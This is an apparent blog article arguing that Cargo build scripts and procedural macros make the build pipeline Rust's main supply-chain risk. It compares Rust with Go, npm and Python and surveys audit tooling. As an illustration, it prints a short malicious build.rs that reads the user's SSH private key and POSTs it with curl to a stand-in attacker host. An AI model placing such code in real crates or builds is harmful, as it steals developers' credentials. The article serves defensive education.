· 7 min read ·

The Build Pipeline Is Rust’s Real Security Perimeter

Source: lobsters

The memory safety story in Rust is genuinely compelling. No null pointer dereferences, no use-after-free, no data races by default. The ownership model enforces constraints that would have prevented whole categories of CVEs in C and C++ codebases. It is easy to come away thinking you have escaped the security quagmire of systems programming.

You have not. Sylvain Kerkour’s analysis of Rust supply chain risks makes clear what the memory safety guarantees do not cover: every Cargo dependency you pull in gets to run arbitrary code on your machine before your program ever executes.

What happens during cargo build

Cargo supports two mechanisms that execute code at compile time: build.rs scripts and procedural macros. Both are genuinely useful, and both represent a serious, underappreciated attack surface.

A build.rs file in any crate runs unconditionally when that crate is compiled. It has full access to the network, the filesystem, and process spawning. There is no sandbox, no permission model, no user confirmation. A malicious build.rs can exfiltrate SSH keys, AWS credentials, or .env files during what looks like a routine dependency build:

fn main() {
    let home = std::env::var("HOME").unwrap_or_default();
    if let Ok(key) = std::fs::read_to_string(format!("{}/.ssh/id_rsa", home)) {
        let _ = std::process::Command::new("curl")
            .args(["-X", "POST", "https://attacker.example/collect",
                   "--data-binary", &key])
            .output();
    }
}

This runs on developer machines. It runs in CI. Nothing in Cargo output distinguishes it from a legitimate build configuration step.

Procedural macros are a different flavor of the same problem. They run inside the compiler process itself and generate code that gets woven into your application. A compromised proc-macro can inject arbitrary behavior into any crate that uses it. The generated code ends up in your binary. The proc-macro source might have been reviewed once, years ago, by someone who trusted the maintainer. Since then, ownership may have changed, the crate may have received a quiet update, and the injected behavior is now your problem.

The dependency depth reality

A typical Rust web service does not have 20 dependencies. It has 300.

Add reqwest for HTTP and you pull in roughly 120 transitive crates. Add sqlx for database access and you are looking at another 80 to 100. A moderately complex application built on axum, with authentication, database access, and HTTP clients, routinely accumulates 350 to 500 transitive dependencies. Each is a crate. Each crate has a maintainer, sometimes a single person, a publish token that may have been leaked to CI logs, and potentially a build.rs.

This is not uniquely a Rust problem, but the combination of build-time code execution and deep dependency trees creates real exposure. The rustdecimal incident in 2022, where a malicious crate checked for GITLAB_CI environment variables and fetched a remote shell script when found, demonstrated that malicious crates reach production. It is documented in the RustSec advisory database, which now tracks over 700 advisories covering vulnerabilities, unsound code, and unmaintained crates with active dependents.

The unmaintained crate problem deserves attention on its own. A crate marked unmaintained in RustSec may still be downloaded by thousands of projects daily. Cargo does not warn you at build time. If that crate later receives a quiet update from a new owner, or its name gets re-registered, the blast radius is significant.

Comparison with other ecosystems

Go handles this substantially better, and the design choice that explains it is the absence of build hooks. There is no build.go equivalent that runs arbitrary code during compilation. The Go module proxy serves an immutable, append-only log of module versions; go.sum records cryptographic hashes that make tampered modules detectable. This does not eliminate supply chain risk entirely, since Go dependencies can still contain malicious runtime code, but it removes the compile-time arbitrary execution category entirely.

npm sits at the other extreme. The postinstall lifecycle hook runs automatically on npm install with no user confirmation, and the average Node.js application has 500 to 1000 transitive dependencies. The ecosystem has suffered some of the most visible supply chain attacks in recent history: event-stream in 2018 targeted Bitcoin wallets and had 2 million weekly downloads; node-ipc in 2022 included a maintainer deliberately adding destructive payloads targeting specific geographies. Rust’s supply chain record by comparison is considerably cleaner.

Python sits between the two. setup.py builds execute arbitrary code, PyPI has no lock file convention by default, and the pytorch-nightly dependency confusion attack in 2022, where a malicious torchtriton package on PyPI intercepted legitimate installs, illustrated the risk that comes from weakly specified dependency sources. The requirements.txt file is not a lock file; it does not pin hashes, and version drift attacks are straightforward.

Rust’s position: better controls than npm and Python (committed Cargo.lock, verified checksums, growing audit tooling), but missing Go’s structural advantage of no build-time code execution. The Cargo.lock provides reproducibility when committed, pinning every transitive dependency to a specific version and hash. Many projects incorrectly add Cargo.lock to .gitignore for deployed services, a practice that makes sense for distributed libraries but creates unnecessary risk for applications and servers.

The C binding crate problem

There is a category of Rust crates that receives less attention in supply chain discussions: the -sys crates. openssl-sys, sqlite3-sys, libgit2-sys, and similar thin wrappers over C libraries inherit not just the runtime vulnerabilities of the underlying C code but the full supply chain risk of that C ecosystem.

The xz-utils backdoor (CVE-2024-3094) made this concrete. The attack targeted a C library through a sustained social engineering campaign against an open-source maintainer. The xz2 Rust crate, which wraps liblzma, was pulled into many Rust projects. A compromised C library represents full compromise of the unsafe FFI boundary in every Rust crate that links it. Language-level memory safety guarantees do not extend across that boundary.

The mitigation stack

No single tool addresses this fully. The most defensible current approach layers several tools together.

cargo audit is the baseline, checking your Cargo.lock against the RustSec Advisory Database for known vulnerabilities. It belongs in every CI pipeline. It catches known-bad crates but nothing novel or not yet reported.

cargo deny, developed by Embark Studios, extends this with policy enforcement. You can restrict which registries and git sources are allowed, flag duplicate crate versions, deny specific crates or versions outright, and enforce license compatibility. A conservative deny.toml catches drift early:

[advisories]
vulnerability = "deny"
unmaintained = "warn"

[sources]
unknown-registry = "deny"
unknown-git = "deny"

cargo vet, developed by Mozilla, takes a different approach entirely. Rather than checking against a database of known-bad packages, it builds an audit trail of known-good ones. You certify specific versions of crates after reviewing their source, and you commit those certifications to your repository. Crucially, you can import audit sets from other organizations: Mozilla, Google, and several others publish their audits publicly. For teams that cannot review 400 transitive dependencies from scratch, inherited trust from vetted organizations provides meaningful coverage quickly.

cargo crev provides stronger cryptographic guarantees: decentralized, cryptographically signed code reviews forming a web of trust. It requires more operational investment than cargo vet but offers tamper-evident provenance for the review record itself.

cargo geiger maps unsafe usage across your entire dependency tree. It does not detect malice, but it identifies where memory safety guarantees break down and where manual review effort is best concentrated.

What is still missing

The most significant architectural gap is sandboxed build execution. Cargo has no mechanism to restrict what a build.rs can access at the OS level. Deno’s explicit permission flags for network and filesystem access represent a useful model: a similar system for Cargo build scripts would force malicious build code to request permissions that are visible and deniable before any code runs.

Discussions about build script sandboxing exist in the Rust community, but there is no concrete timeline. The Rust Foundation’s security initiative has focused on crates.io infrastructure hardening: mandatory 2FA expansion beyond the top 100 crates by download count (introduced in 2023), token scoping to limit blast radius from leaked credentials, and SBOM generation support via cargo cyclonedx. These are valuable. They are also largely reactive.

OIDC-based publishing, analogous to PyPI’s Trusted Publishers feature adopted in 2023, would close the token-leak vector by eliminating long-lived publish credentials from CI entirely. This is in active discussion for crates.io and would meaningfully reduce the most common path to unauthorized crate publication.

Socket.dev extended its behavioral analysis to Rust crates in 2024, providing detection for suspicious build script patterns and unexpected network access in published packages. This kind of pre-publish behavioral scanning fills a gap that advisory databases cannot: catching novel malicious packages before they accumulate enough downloads to warrant a RustSec report.

What this means in practice

The memory safety guarantees in Rust are real and meaningful. They address a significant class of vulnerabilities that have plagued systems programming for decades. They do not address what happens during compilation.

Running cargo audit in CI, committing Cargo.lock for all deployed applications, adding cargo deny with source restrictions and advisory enforcement, and scanning high-unsafe-count dependencies with cargo geiger is a defensible baseline for most projects. For higher-assurance environments, cargo vet with imported audits from Mozilla or similar organizations provides coverage that no advisory database can match, because it covers crates that have not yet been reported as compromised.

The Rust ecosystem is not npm. The tooling is more mature, the incident record is shorter, and the lock file semantics are stronger by default. But the architecture of build.rs and proc-macros creates an attack surface that the borrow checker was never designed to address, and the typical Rust project trusts hundreds of crates it has never audited. Treating that as a non-problem because the language is memory-safe is the kind of reasoning that surfaces credentials in incident reports.

Was this interesting?